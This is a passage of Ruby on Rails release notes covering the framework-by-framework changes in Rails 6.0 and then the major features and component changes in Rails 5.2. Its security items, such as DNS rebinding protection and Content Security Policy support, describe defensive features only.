- Introduce guard against DNS rebinding attacks. (Pull Request)

- Add ability to abort on failure while running generator commands. (Pull Request)

- Make Webpacker the default JavaScript compiler for Rails 6. (Pull Request)

- Add multiple database support for rails db:migrate:status command. (Pull Request)

- Add ability to use different migration paths from multiple databases in the generators. (Pull Request)

- Add support for multi environment credentials. (Pull Request)

- Make null_store as default cache store in test environment. (Pull Request)

4 Action Cable

Please refer to the Changelog for detailed changes.

4.1 Removals

- Replace ActionCable.startDebugging() and ActionCable.stopDebugging() with ActionCable.logger.enabled. (Pull Request)

4.2 Deprecations

- There are no deprecations for Action Cable in Rails 6.0.

4.3 Notable changes

- Add support for the channel_prefix option for PostgreSQL subscription adapters in cable.yml. (Pull Request)

- Allow passing a custom configuration to ActionCable::Server::Base. (Pull Request)

- Add :action_cable_connection and :action_cable_channel load hooks. (Pull Request)

- Add Channel::Base#broadcast_to and Channel::Base.broadcasting_for. (Pull Request)

- Close a connection when calling reject_unauthorized_connection from an ActionCable::Connection. (Pull Request)

- Convert the Action Cable JavaScript package from CoffeeScript to ES2015 and publish the source code in the npm distribution. (Pull Request)

- Move the configuration of the WebSocket adapter and logger adapter from properties of ActionCable to ActionCable.adapters. (Pull Request)

- Add an id option to the Redis adapter to distinguish Action Cable's Redis connections. (Pull Request)

5 Action Pack

Please refer to the Changelog for detailed changes.

5.1 Removals

- Remove deprecated fragment_cache_key helper in favor of combined_fragment_cache_key. (Commit)

- Remove deprecated methods in ActionDispatch::TestResponse: #success? in favor of #successful?, #missing? in favor of #not_found?, #error? in favor of #server_error?. (Commit)

5.2 Deprecations

- Deprecate ActionDispatch::Http::ParameterFilter in favor of ActiveSupport::ParameterFilter. (Pull Request)

- Deprecate controller level force_ssl in favor of config.force_ssl. (Pull Request)

5.3 Notable changes

- Change ActionDispatch::Response#content_type returning Content-Type header as it is. (Pull Request)

- Raise an ArgumentError if a resource param contains a colon. (Pull Request)

- Allow ActionDispatch::SystemTestCase.driven_by to be called with a block to define specific browser capabilities. (Pull Request)

- Add ActionDispatch::HostAuthorization middleware that guards against DNS rebinding attacks. (Pull Request)

- Allow the use of parsed_body in ActionController::TestCase. (Pull Request)

- Raise an ArgumentError when multiple root routes exist in the same context without as: naming specifications. (Pull Request)

- Allow the use of #rescue_from for handling parameter parsing errors. (Pull Request)

- Add ActionController::Parameters#each_value for iterating through parameters. (Pull Request)

- Encode Content-Disposition filenames on send_data and send_file. (Pull Request)

- Expose ActionController::Parameters#each_key. (Pull Request)

- Add purpose and expiry metadata inside signed/encrypted cookies to prevent copying the value of cookies into one another. (Pull Request)

- Raise ActionController::RespondToMismatchError for conflicting respond_to invocations. (Pull Request)

- Add an explicit error page for when a template is missing for a request format. (Pull Request)

- Introduce ActionDispatch::DebugExceptions.register_interceptor, a way to hook into DebugExceptions and process the exception, before being rendered. (Pull Request)

- Output only one Content-Security-Policy nonce header value per request. (Pull Request)

- Add a module specifically for the Rails default headers configuration that can be explicitly included in controllers. (Pull Request)

- Add #dig to ActionDispatch::Request::Session. (Pull Request)

6 Action View

Please refer to the Changelog for detailed changes.

6.1 Removals

- Remove deprecated image_alt helper. (Commit)

- Remove an empty RecordTagHelper module from which the functionality was already moved to the record_tag_helper gem. (Commit)

6.2 Deprecations

- Deprecate ActionView::Template.finalize_compiled_template_methods with no replacement. (Pull Request)

- Deprecate config.action_view.finalize_compiled_template_methods with no replacement. (Pull Request)

- Deprecate calling private model methods from the options_from_collection_for_select view helper. (Pull Request)

6.3 Notable changes

- Clear Action View cache in development only on file changes, speeding up development mode. (Pull Request)

- Move all of the Rails npm packages into a @rails scope. (Pull Request)

- Only accept formats from registered MIME types. (Pull Request, Pull Request)

- Add allocations to the template and partial rendering server output. (Pull Request)

- Add a year_format option to date_select tag, making it possible to customize year names. (Pull Request)

- Add a nonce: true option for javascript_include_tag helper to support automatic nonce generation for a Content Security Policy. (Pull Request)

- Add a action_view.finalize_compiled_template_methods configuration to disable or enable ActionView::Template finalizers. (Pull Request)

- Extract the JavaScript confirm call to its own, overridable method in rails_ujs. (Pull Request)

- Add a action_controller.default_enforce_utf8 configuration option to handle enforcing UTF-8 encoding. This defaults to false. (Pull Request)

- Add I18n key style support for locale keys to submit tags. (Pull Request)

7 Action Mailer

Please refer to the Changelog for detailed changes.

7.1 Removals

7.2 Deprecations

- Deprecate ActionMailer::Base.receive in favor of Action Mailbox. (Commit)

- Deprecate DeliveryJob and Parameterized::DeliveryJob in favor of MailDeliveryJob. (Pull Request)

7.3 Notable changes

- Add MailDeliveryJob for delivering both regular and parameterized mail. (Pull Request)

- Allow custom email delivery jobs to work with the Action Mailer test assertions. (Pull Request)

- Allow specifying a template name for multipart emails with blocks instead of using just the action name. (Pull Request)

- Add perform_deliveries to payload of deliver.action_mailer notification. (Pull Request)

- Improve the logging message when perform_deliveries is false to indicate that sending of emails was skipped. (Pull Request)

- Allow calling assert_enqueued_email_with without block. (Pull Request)

- Perform the enqueued mail delivery jobs in the assert_emails block. (Pull Request)

- Allow ActionMailer::Base to unregister observers and interceptors. (Pull Request)

8 Active Record

Please refer to the Changelog for detailed changes.

8.1 Removals

- Remove deprecated #set_state from the transaction object. (Commit)

- Remove deprecated #supports_statement_cache? from the database adapters. (Commit)

- Remove deprecated #insert_fixtures from the database adapters. (Commit)

- Remove deprecated ActiveRecord::ConnectionAdapters::SQLite3Adapter#valid_alter_table_type?. (Commit)

- Remove support for passing the column name to sum when a block is passed. (Commit)

- Remove support for passing the column name to count when a block is passed. (Commit)

- Remove support for delegation of missing methods in a relation to Arel. (Commit)

- Remove support for delegating missing methods in a relation to private methods of the class. (Commit)

- Remove support for specifying a timestamp name for #cache_key. (Commit)

- Remove deprecated ActiveRecord::Migrator.migrations_path=. (Commit)

- Remove deprecated expand_hash_conditions_for_aggregates. (Commit)

8.2 Deprecations

- Deprecate mismatched case-sensitivity collation comparisons for uniqueness validator. (Commit)

- Deprecate using class level querying methods if the receiver scope has leaked. (Pull Request)

- Deprecate config.active_record.sqlite3.represent_boolean_as_integer. (Commit)

- Deprecate passing migrations_paths to connection.assume_migrated_upto_version. (Commit)

- Deprecate ActiveRecord::Result#to_hash in favor of ActiveRecord::Result#to_a. (Commit)

- Deprecate methods in DatabaseLimits: column_name_length, table_name_length, columns_per_table, indexes_per_table, columns_per_multicolumn_index, sql_query_length, and joins_per_query. (Commit)

- Deprecate update_attributes/! in favor of update/!. (Commit)

8.3 Notable changes

- Bump the minimum version of the sqlite3 gem to 1.4. (Pull Request)

- Add rails db:prepare to create a database if it doesn't exist, and run its migrations. (Pull Request)

- Add after_save_commit callback as shortcut for after_commit :hook, on: [ :create, :update ]. (Pull Request)

- Add ActiveRecord::Relation#extract_associated for extracting associated records from a relation. (Pull Request)

- Add ActiveRecord::Relation#annotate for adding SQL comments to ActiveRecord::Relation queries. (Pull Request)

- Add support for setting Optimizer Hints on databases. (Pull Request)

- Add insert_all/insert_all!/upsert_all methods for doing bulk inserts. (Pull Request)

- Add rails db:seed:replant that truncates tables of each database for the current environment and loads the seeds. (Pull Request)

- Add reselect method, which is a short-hand for unscope(:select).select(fields). (Pull Request)

- Add negative scopes for all enum values. (Pull Request)

- Add #destroy_by and #delete_by for conditional removals. (Pull Request)

- Add the ability to automatically switch database connections. (Pull Request)

- Add the ability to prevent writes to a database for the duration of a block. (Pull Request)

- Add an API for switching connections to support multiple databases. (Pull Request)

- Make timestamps with precision the default for migrations. (Pull Request)

- Support :size option to change text and blob size in MySQL. (Pull Request)

- Set both the foreign key and the foreign type columns to NULL for polymorphic associations on dependent: :nullify strategy. (Pull Request)

- Allow a permitted instance of ActionController::Parameters to be passed as an argument to ActiveRecord::Relation#exists?. (Pull Request)

- Add support in #where for endless ranges introduced in Ruby 2.6. (Pull Request)

- Make ROW_FORMAT=DYNAMIC a default create table option for MySQL. (Pull Request)

- Add the ability to disable scopes generated by ActiveRecord.enum. (Pull Request)

- Make implicit ordering configurable for a column. (Pull Request)

- Bump the minimum PostgreSQL version to 9.3, dropping support for 9.1 and 9.2. (Pull Request)

- Make the values of an enum frozen, raising an error when attempting to modify them. (Pull Request)

- Make the SQL of ActiveRecord::StatementInvalid errors its own error property and include SQL binds as a separate error property. (Pull Request)

- Add an :if_not_exists option to create_table. (Pull Request)

- Add support for multiple databases to rails db:schema:cache:dump and rails db:schema:cache:clear. (Pull Request)

- Add support for hash and url configs in database hash of ActiveRecord::Base.connected_to. (Pull Request)

- Add support for default expressions and expression indexes for MySQL. (Pull Request)

- Add an index option for change_table migration helpers. (Pull Request)

- Fix transaction reverting for migrations. Previously, commands inside of a transaction in a reverted migration ran uninverted. This change fixes that. (Pull Request)

- Allow ActiveRecord::Base.configurations= to be set with a symbolized hash. (Pull Request)

- Fix the counter cache to only update if the record is actually saved. (Pull Request)

- Add expression indexes support for the SQLite adapter. (Pull Request)

- Allow subclasses to redefine autosave callbacks for associated records. (Pull Request)

- Bump the minimum MySQL version to 5.5.8. (Pull Request)

- Use the utf8mb4 character set by default in MySQL. (Pull Request)

- Add the ability to filter out sensitive data in #inspect (Pull Request, Pull Request)

- Change ActiveRecord::Base.configurations to return an object instead of a hash. (Pull Request)

- Add database configuration to disable advisory locks. (Pull Request)

- Update SQLite3 adapter alter_table method to restore foreign keys. (Pull Request)

- Allow the :to_table option of remove_foreign_key to be invertible. (Pull Request)

- Fix default value for MySQL time types with specified precision. (Pull Request)

- Fix the touch option to behave consistently with Persistence#touch method. (Pull Request)

- Raise an exception for duplicate column definitions in Migrations. (Pull Request)

- Bump the minimum SQLite version to 3.8. (Pull Request)

- Fix parent records to not get saved with duplicate children records. (Pull Request)

- Ensure Associations::CollectionAssociation#size and Associations::CollectionAssociation#empty? use loaded association ids if present. (Pull Request)

- Add support to preload associations of polymorphic associations when not all the records have the requested associations. (Commit)

- Add touch_all method to ActiveRecord::Relation. (Pull Request)

- Add ActiveRecord::Base.base_class? predicate. (Pull Request)

- Add custom prefix/suffix options to ActiveRecord::Store.store_accessor. (Pull Request)

- Add ActiveRecord::Base.create_or_find_by/! to deal with the SELECT/INSERT race condition in ActiveRecord::Base.find_or_create_by/! by leaning on unique constraints in the database. (Pull Request)

- Add Relation#pick as short-hand for single-value plucks. (Pull Request)

9 Active Storage

Please refer to the Changelog for detailed changes.

9.1 Removals

9.2 Deprecations

- Deprecate config.active_storage.queue in favor of config.active_storage.queues.analysis and config.active_storage.queues.purge. (Pull Request)

- Deprecate ActiveStorage::Downloading in favor of ActiveStorage::Blob#open. (Commit)

- Deprecate using mini_magick directly for generating image variants in favor of image_processing. (Commit)

- Deprecate :combine_options in Active Storage's ImageProcessing transformer without replacement. (Commit)

9.3 Notable changes

- Add support for generating BMP image variants. (Pull Request)

- Add support for generating TIFF image variants. (Pull Request)

- Add support for generating progressive JPEG image variants. (Pull Request)

- Add ActiveStorage.routes_prefix for configuring the Active Storage generated routes. (Pull Request)

- Generate a 404 Not Found response on ActiveStorage::DiskController#show when the requested file is missing from the disk service. (Pull Request)

- Raise ActiveStorage::FileNotFoundError when the requested file is missing for ActiveStorage::Blob#download and ActiveStorage::Blob#open. (Pull Request)

- Add a generic ActiveStorage::Error class that Active Storage exceptions inherit from. (Commit)

- Persist uploaded files assigned to a record to storage when the record is saved instead of immediately. (Pull Request)

- Optionally replace existing files instead of adding to them when assigning to a collection of attachments (as in @user.update!(images: [ … ])). Use config.active_storage.replace_on_assign_to_many to control this behavior. (Pull Request, Pull Request)

- Add the ability to reflect on defined attachments using the existing Active Record reflection mechanism. (Pull Request)

- Add ActiveStorage::Blob#open, which downloads a blob to a tempfile on disk and yields the tempfile. (Commit)

- Support streaming downloads from Google Cloud Storage. Require version 1.11+ of the google-cloud-storage gem. (Pull Request)

- Use the image_processing gem for Active Storage variants. This replaces using mini_magick directly. (Pull Request)

10 Active Model

Please refer to the Changelog for detailed changes.

10.1 Removals

10.2 Deprecations

10.3 Notable changes

- Add a configuration option to customize format of the ActiveModel::Errors#full_message. (Pull Request)

- Add support for configuring attribute name for has_secure_password. (Pull Request)

- Add #slice! method to ActiveModel::Errors. (Pull Request)

- Add ActiveModel::Errors#of_kind? to check presence of a specific error. (Pull Request)

- Fix ActiveModel::Serializers::JSON#as_json method for timestamps. (Pull Request)

- Fix numericality validator to still use value before type cast except Active Record. (Pull Request)

- Fix numericality equality validation of BigDecimal and Float by casting to BigDecimal on both ends of the validation. (Pull Request)

- Fix year value when casting a multiparameter time hash. (Pull Request)

- Type cast falsy boolean symbols on boolean attribute as false. (Pull Request)

- Return correct date while converting parameters in value_from_multiparameter_assignment for ActiveModel::Type::Date. (Pull Request)

- Fall back to parent locale before falling back to the :errors namespace while fetching error translations. (Pull Request)

11 Active Support

Please refer to the Changelog for detailed changes.

11.1 Removals

- Remove deprecated #acronym_regex method from Inflections. (Commit)

- Remove deprecated Module#reachable? method. (Commit)

- Remove Kernel#` without any replacement. (Pull Request)

11.2 Deprecations

- Deprecate using negative integer arguments for String#first and String#last. (Pull Request)

- Deprecate ActiveSupport::Multibyte::Unicode#downcase/upcase/swapcase in favor of String#downcase/upcase/swapcase. (Pull Request)

- Deprecate ActiveSupport::Multibyte::Unicode#normalize and ActiveSupport::Multibyte::Chars#normalize in favor of String#unicode_normalize. (Pull Request)

- Deprecate ActiveSupport::Multibyte::Chars.consumes? in favor of String#is_utf8?. (Pull Request)

- Deprecate ActiveSupport::Multibyte::Unicode#pack_graphemes(array) and ActiveSupport::Multibyte::Unicode#unpack_graphemes(string) in favor of array.flatten.pack("U*") and string.scan(/\X/).map(&:codepoints), respectively. (Pull Request)

11.3 Notable changes

- Add support for parallel testing. (Pull Request)

- Make sure that String#strip_heredoc preserves frozen-ness of strings. (Pull Request)

- Add String#truncate_bytes to truncate a string to a maximum bytesize without breaking multibyte characters or grapheme clusters. (Pull Request)

- Add private option to delegate method in order to delegate to private methods. This option accepts true/false as the value. (Pull Request)

- Add support for translations through I18n for ActiveSupport::Inflector#ordinal and ActiveSupport::Inflector#ordinalize. (Pull Request)

- Add before? and after? methods to Date, DateTime, Time, and TimeWithZone. (Pull Request)

- Fix bug where URI.unescape would fail with mixed Unicode/escaped character input. (Pull Request)

- Fix bug where ActiveSupport::Cache would massively inflate the storage size when compression was enabled. (Pull Request)

- Redis cache store: delete_matched no longer blocks the Redis server. (Pull Request)

- Fix bug where ActiveSupport::TimeZone.all would fail when tzinfo data for any timezone defined in ActiveSupport::TimeZone::MAPPING was missing. (Pull Request)

- Add Enumerable#index_with which allows creating a hash from an enumerable with the value from a passed block or a default argument. (Pull Request)

- Allow Range#=== and Range#cover? methods to work with Range argument. (Pull Request)

- Support key expiry in increment/decrement operations of RedisCacheStore. (Pull Request)

- Add cpu time, idle time, and allocations features to log subscriber events. (Pull Request)

- Add support for event object to the Active Support notification system. (Pull Request)

- Add support for not caching nil entries by introducing new option skip_nil for ActiveSupport::Cache#fetch. (Pull Request)

- Add Array#extract! method which removes and returns the elements for which block returns a true value. (Pull Request)

- Keep an HTML-safe string HTML-safe after slicing. (Pull Request)

- Add support for tracing constant autoloads via logging. (Commit)

- Define unfreeze_time as an alias of travel_back. (Pull Request)

- Change ActiveSupport::TaggedLogging.new to return a new logger instance instead of mutating the one received as argument. (Pull Request)

- Treat #delete_prefix, #delete_suffix and #unicode_normalize methods as non HTML-safe methods. (Pull Request)

- Fix bug where #without for ActiveSupport::HashWithIndifferentAccess would fail with symbol arguments. (Pull Request)

- Rename Module#parent, Module#parents, and Module#parent_name to module_parent, module_parents, and module_parent_name. (Pull Request)

- Add ActiveSupport::ParameterFilter. (Pull Request)

- Fix issue where duration was being rounded to a full second when a float was added to the duration. (Pull Request)

- Make #to_options an alias for #symbolize_keys in ActiveSupport::HashWithIndifferentAccess. (Pull Request)

- Don't raise an exception anymore if the same block is included multiple times for a Concern. (Pull Request)

- Preserve key order passed to ActiveSupport::CacheStore#fetch_multi. (Pull Request)

- Fix String#safe_constantize to not throw a LoadError for incorrectly cased constant references. (Pull Request)

- Add Hash#deep_transform_values and Hash#deep_transform_values!. (Commit)

- Add ActiveSupport::HashWithIndifferentAccess#assoc. (Pull Request)

- Add before_reset callback to CurrentAttributes and define after_reset as an alias of resets for symmetry. (Pull Request)

- Revise ActiveSupport::Notifications.unsubscribe to correctly handle Regex or other multiple-pattern subscribers. (Pull Request)

- Add new autoloading mechanism using Zeitwerk. (Commit)

- Add Array#including and Enumerable#including to conveniently enlarge a collection. (Commit)

- Rename Array#without and Enumerable#without to Array#excluding and Enumerable#excluding. Old method names are retained as aliases. (Commit)

- Add support for supplying locale to transliterate and parameterize. (Pull Request)

- Fix Time#advance to work with dates before 1001-03-07. (Pull Request)

- Update ActiveSupport::Notifications::Instrumenter#instrument to allow not passing block. (Pull Request)

- Use weak references in descendants tracker to allow anonymous subclasses to be garbage collected. (Pull Request)

- Calling test methods with with_info_handler method to allow minitest-hooks plugin to work. (Commit)

- Preserve html_safe? status on ActiveSupport::SafeBuffer#*. (Pull Request)

12 Active Job

Please refer to the Changelog for detailed changes.

12.1 Removals

- Remove support for Qu gem. (Pull Request)

12.2 Deprecations

12.3 Notable changes

- Add support for custom serializers for Active Job arguments. (Pull Request)

- Add support for executing Active Jobs in the timezone in which they were enqueued. (Pull Request)

- Allow passing multiple exceptions to retry_on/discard_on. (Commit)

- Allow calling assert_enqueued_with and assert_enqueued_email_with without a block. (Pull Request)

- Wrap the notifications for enqueue and enqueue_at in the around_enqueue callback instead of after_enqueue callback. (Pull Request)

- Allow calling perform_enqueued_jobs without a block. (Pull Request)

- Allow calling assert_performed_with without a block. (Pull Request)

- Add :queue option to job assertions and helpers. (Pull Request)

- Add hooks to Active Job around retries and discards. (Pull Request)

- Add a way to test for subset of arguments when performing jobs. (Pull Request)

- Include deserialized arguments in jobs returned by Active Job test helpers. (Pull Request)

- Allow Active Job assertion helpers to accept Proc for only keyword. (Pull Request)

- Drop microseconds and nanoseconds from the job arguments in assertion helpers. (Pull Request)

13 Ruby on Rails Guides

Please refer to the Changelog for detailed changes.

13.1 Notable changes

- Add Multiple Databases with Active Record guide. (Pull Request)

- Add a section about troubleshooting of autoloading constants. (Commit)

- Add Action Mailbox Basics guide. (Pull Request)

- Add Action Text Overview guide. (Pull Request)

14 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Ruby on Rails 5.2 Release Notes — Ruby...

1 Upgrading to Rails 5.2

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 5.1 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 5.2. A list of things to watch out for when upgrading is available in the Upgrading Ruby on Rails guide.

2 Major Features

2.1 Active Storage

Pull Request

Active Storage facilitates uploading files to a cloud storage service like Amazon S3, Google Cloud Storage, or Microsoft Azure Storage and attaching those files to Active Record objects. It comes with a local disk-based service for development and testing and supports mirroring files to subordinate services for backups and migrations. You can read more about Active Storage in the Active Storage Overview guide.

2.2 Redis Cache Store

Pull Request

Rails 5.2 ships with built-in Redis cache store. You can read more about this in the Caching with Rails: An Overview guide.

2.3 HTTP/2 Early Hints

Pull Request

Rails 5.2 supports HTTP/2 Early Hints. To start the server with Early Hints enabled pass --early-hints to bin/rails server.

2.4 Credentials

Pull Request

Added config/credentials.yml.enc file to store production app secrets. It allows saving any authentication credentials for third-party services directly in repository encrypted with a key in the config/master.key file or the RAILS_MASTER_KEY environment variable. This will eventually replace Rails.application.secrets and the encrypted secrets introduced in Rails 5.1. Furthermore, Rails 5.2 opens API underlying Credentials, so you can easily deal with other encrypted configurations, keys, and files. You can read more about this in the Securing Rails Applications guide.

2.5 Content Security Policy

Pull Request

Rails 5.2 ships with a new DSL that allows you to configure a Content Security Policy for your application. You can configure a global default policy and then override it on a per-resource basis and even use lambdas to inject per-request values into the header such as account subdomains in a multi-tenant application. You can read more about this in the Securing Rails Applications guide.

3 Railties

Please refer to the Changelog for detailed changes.

3.1 Deprecations

- Deprecate capify! method in generators and templates. (Pull Request)

- Passing the environment's name as a regular argument to the rails dbconsole and rails console commands is deprecated. The -e option should be used instead. (Commit)

- Deprecate using subclass of Rails::Application to start the Rails server. (Pull Request)

- Deprecate after_bundle callback in Rails plugin templates. (Pull Request)

3.2 Notable changes

- Added a shared section to config/database.yml that will be loaded for all environments. (Pull Request)

- Add railtie.rb to the plugin generator. (Pull Request)

- Clear screenshot files in tmp:clear task. (Pull Request)

- Skip unused components when running bin/rails app:update. If the initial app generation skipped Action Cable, Active Record, etc., the update task honors those skips too. (Pull Request)

- Allow passing a custom connection name to the rails dbconsole command when using a 3-level database configuration. Example: bin/rails dbconsole -c replica. (Commit)

- Properly expand shortcuts for environment's name running the console and dbconsole commands. (Commit)

- Add bootsnap to default Gemfile. (Pull Request)

- Support - as a platform-agnostic way to run a script from stdin with rails runner (Pull Request)

- Add ruby x.x.x version to Gemfile and create .ruby-version root file containing the current Ruby version when new Rails applications are created. (Pull Request)

- Add --skip-action-cable option to the plugin generator. (Pull Request)

- Add git_source to Gemfile for plugin generator. (Pull Request)

- Skip unused components when running bin/rails in Rails plugin. (Commit)

- Optimize indentation for generator actions. (Pull Request)

- Optimize routes indentation. (Pull Request)

- Add --skip-yarn option to the plugin generator. (Pull Request)

- Support multiple versions arguments for gem method of Generators. (Pull Request)

- Derive secret_key_base from the app name in development and test environments. (Pull Request)

- Add mini_magick to default Gemfile as comment. (Pull Request)

- rails new and rails plugin new get Active Storage by default. Add ability to skip Active Storage with --skip-active-storage and do so automatically when --skip-active-record is used. (Pull Request)

4 Action Cable

Please refer to the Changelog for detailed changes.

4.1 Removals

- Removed deprecated evented redis adapter. (Commit)

4.2 Notable changes

- Add support for host, port, db and password options in cable.yml (Pull Request)

- Hash long stream identifiers when using PostgreSQL adapter. (Pull Request)

5 Action Pack

Please refer to the Changelog for detailed changes.

5.1 Removals

- Remove deprecated ActionController::ParamsParser::ParseError. (Commit)

5.2 Deprecations

- Deprecate #success?, #missing? and #error? aliases of ActionDispatch::TestResponse. (Pull Request)

5.3 Notable changes

- Add support for recyclable cache keys with fragment caching. (Pull Request)

- Change the cache key format for fragments to make it easier to debug key churn. (Pull Request)

- AEAD encrypted cookies and sessions with GCM. (Pull Request)

- Protect from forgery by default. (Pull Request)

- Enforce signed/encrypted cookie expiry server side. (Pull Request)

- Cookies :expires option supports ActiveSupport::Duration object. (Pull Request)

- Use Capybara registered :puma server config. (Pull Request)

- Simplify cookies middleware with key rotation support. (Pull Request)

- Add ability to enable Early Hints for HTTP/2. (Pull Request)

- Add headless chrome support to System Tests. (Pull Request)

- Add :allow_other_host option to redirect_back method. (Pull Request)

- Make assert_recognizes to traverse mounted engines. (Pull Request)

- Add DSL for configuring Content-Security-Policy header. (Pull Request, Commit, Commit)

- Register most popular audio/video/font mime types supported by modern browsers. (Pull Request)

- Changed the default system test screenshot output from inline to simple. (Commit)

- Add headless firefox support to System Tests. (Pull Request)

- Add secure X-Download-Options and X-Permitted-Cross-Domain-Policies to default headers set. (Commit)

- Changed the system tests to set Puma as default server only when the user haven't specified manually another server. (Pull Request)

- Add Referrer-Policy header to default headers set. (Commit)

- Matches behavior of Hash#each in ActionController::Parameters#each. (Pull Request)

- Add support for automatic nonce generation for Rails UJS. (Commit)

- Update the default HSTS max-age value to 31536000 seconds (1 year) to meet the minimum max-age requirement for https://hstspreload.org/. (Commit)

- Add alias method to_hash to to_h for cookies. Add alias method to_h to to_hash for session. (Commit)

6 Action View

Please refer to the Changelog for detailed changes.

6.1 Removals

- Remove deprecated Erubis ERB handler. (Commit)

6.2 Deprecations

- Deprecate image_alt helper which used to add default alt text to the images generated by image_tag. (Pull Request)

6.3 Notable changes

- Add :json type to auto_discovery_link_tag to support JSON Feeds. (Pull Request)

- Add srcset option to image_tag helper. (Pull Request)

- Fix issues with field_error_proc wrapping optgroup and select divider option. (Pull Request)

- Change form_with to generate ids by default. (Commit)

- Add preload_link_tag helper. (Pull Request)

- Allow the use of callable objects as group methods for grouped selects. (Pull Request)

7 Action Mailer

Please refer to the Changelog for detailed changes.

7.1 Notable changes

- Allow Action Mailer classes to configure their delivery job. (Pull Request)

- Add assert_enqueued_email_with test helper. (Pull Request)

8 Active Record

Please refer to the Changelog for detailed changes.

8.1 Removals

- Remove deprecated #migration_keys. (Pull Request)

- Remove deprecated support to quoted_id when typecasting an Active Record object. (Commit)

- Remove deprecated argument default from index_name_exists?. (Commit)

- Remove deprecated support to passing a class to :class_name on associations. (Commit)

- Remove deprecated methods initialize_schema_migrations_table and initialize_internal_metadata_table. (Commit)

- Remove deprecated method supports_migrations?. (Commit)

- Remove deprecated method supports_primary_key?. (Commit)

- Remove deprecated method ActiveRecord::Migrator.schema_migrations_table_name. (Commit)

- Remove deprecated argument name from #indexes. (Commit)

- Remove deprecated arguments from #verify!. (Commit)

- Remove deprecated configuration .error_on_ignored_order_or_limit. (Commit)

- Remove deprecated method #scope_chain. (Commit)

- Remove deprecated method #sanitize_conditions. (Commit)

8.2 Deprecations

- Deprecate supports_statement_cache?. (Pull Request)

- Deprecate passing arguments and block at the same time to count and sum in ActiveRecord::Calculations. (Pull Request)

- Deprecate delegating to arel in Relation. (Pull Request)

- Deprecate set_state method in TransactionState. (Commit)

- Deprecate expand_hash_conditions_for_aggregates without replacement. (Commit)

8.3 Notable changes

- When calling the dynamic fixture accessor method with no arguments, it now returns all fixtures of this type. Previously this method always returned an empty array. (Pull Request)

- Fix inconsistency with changed attributes when overriding Active Record attribute reader. (Pull Request)

- Support Descending Indexes for MySQL. (Pull Request)

- Fix bin/rails db:forward first migration. (Commit)

- Raise error UnknownMigrationVersionError on the movement of migrations when the current migration does not exist. (Commit)

- Respect SchemaDumper.ignore_tables in rake tasks for databases structure dump. (Pull Request)

- Add ActiveRecord::Base#cache_version to support recyclable cache keys via the new versioned entries in ActiveSupport::Cache. This also means that ActiveRecord::Base#cache_key will now return a stable key that does not include a timestamp any more. (Pull Request)

- Prevent creation of bind param if casted value is nil. (Pull Request)

- Use bulk INSERT to insert fixtures for better performance. (Pull Request)

- Merging two relations representing nested joins no longer transforms the joins of the merged relation into LEFT OUTER JOIN. (Pull Request)

- Fix transactions to apply state to child transactions. Previously, if you had a nested transaction and the outer transaction was rolledback, the record from the inner transaction would still be marked as persisted. It was fixed by applying the state of the parent transaction to the child transaction when the parent transaction is rolledback. This will correctly mark records from the inner transaction as not persisted. (Commit)

- Fix eager loading/preloading association with scope including joins. (Pull Request)

- Prevent errors raised by sql.active_record notification subscribers from being converted into ActiveRecord::StatementInvalid exceptions. (Pull Request)

- Skip query caching when working with batches of records (find_each, find_in_batches, in_batches). (Commit)

- Change sqlite3 boolean serialization to use 1 and 0. SQLite natively recognizes 1 and 0 as true and false, but does not natively recognize 't' and 'f' as was previously serialized. (Pull Request)

- Values constructed using multi-parameter assignment will now use the post-type-cast value for rendering in single-field form inputs. (Commit)

- ApplicationRecord is no longer generated when generating models. If you need to generate it, it can be created with rails g application_record. (Pull Request)

- Relation#or now accepts two relations who have different values for references only, as references can be implicitly called by where. (Commit)

- When using Relation#or, extract the common conditions and put them before the OR condition. (Pull Request)

- Add binary fixture helper method. (Pull Request)

- Automatically guess the inverse associations for STI. (Pull Request)

- Add new error class LockWaitTimeout which will be raised when lock wait timeout exceeded. (Pull Request)

- Update payload names for sql.active_record instrumentation to be more descriptive. (Pull Request)

- Use given algorithm while removing index from database. (Pull Request)

- Passing a Set to Relation#where now behaves the same as passing an array. (Commit)

- PostgreSQL tsrange now preserves subsecond precision. (Pull Request)

- Raises when calling lock! in a dirty record. (Commit)

- Fixed a bug where column orders for an index weren't written to db/schema.rb when using the sqlite adapter. (Pull Request)

- Fix bin/rails db:migrate with specified VERSION. bin/rails db:migrate with empty VERSION behaves as without VERSION. Check a format of VERSION: Allow a migration version number or name of a migration file. Raise error if format of VERSION is invalid. Raise error if target migration doesn't exist. (Pull Request)

- Add new error class StatementTimeout which will be raised when statement timeout exceeded. (Pull Request)

- update_all will now pass its values to Type#cast before passing them to Type#serialize. This means that update_all(foo: 'true') will properly persist a boolean. (Commit)

- Require raw SQL fragments to be explicitly marked when used in relation query methods. (Commit, Commit)

- Add #up_only to database migrations for code that is only relevant when migrating up, e.g. populating a new column. (Pull Request)

- Add new error class QueryCanceled which will be raised when canceling statement due to user request. (Pull Request)

- Don't allow scopes to be defined which conflict with instance methods on Relation. (Pull Request)

- Add support for PostgreSQL operator classes to add_index. (Pull Request)

- Log database query callers. (Pull Request, Pull Request, Pull Request)

- Undefine attribute methods on descendants when resetting column information. (Pull Request)

- Using subselect for delete_all with limit or offset. (Commit)

- Fixed inconsistency with first(n) when used with limit(). The first(n) finder now respects the limit(), making it consistent with relation.to_a.first(n), and also with the behavior of last(n). (Pull Request)

- Fix nested has_many :through associations on unpersisted parent instances. (Commit)

- Take into account association conditions when deleting through records. (Commit)

- Don't allow destroyed object mutation after save or save! is called. (Commit)

- Fix relation merger issue with left_outer_joins. (Pull Request)

- Support for PostgreSQL foreign tables. (Pull Request)

- Clear the transaction state when an Active Record object is duped. (Pull Request)

- Fix not expanded problem when passing an Array object as argument to the where method using composed_of column. (Pull Request)

- Make reflection.klass raise if polymorphic? not to be misused. (Commit)

- Fix #columns_for_distinct of MySQL and PostgreSQL to make ActiveRecord::FinderMethods#limited_ids_for use correct primary key values even if ORDER BY columns include other table's primary key. (Commit)

- Fix dependent: :destroy issue for has_one/belongs_to relationship where the parent class was getting deleted when the child was not. (Commit)

- Idle database connections (previously just orphaned connections) are now periodically reaped by the connection pool reaper. (Commit)

9 Active Model

Please refer to the Changelog for detailed changes.

9.1 Notable changes

- Fix methods #keys, #values in ActiveModel::Errors. Change #keys to only return the keys that don't have empty messages. Change #values to only return the not empty values. (Pull Request)

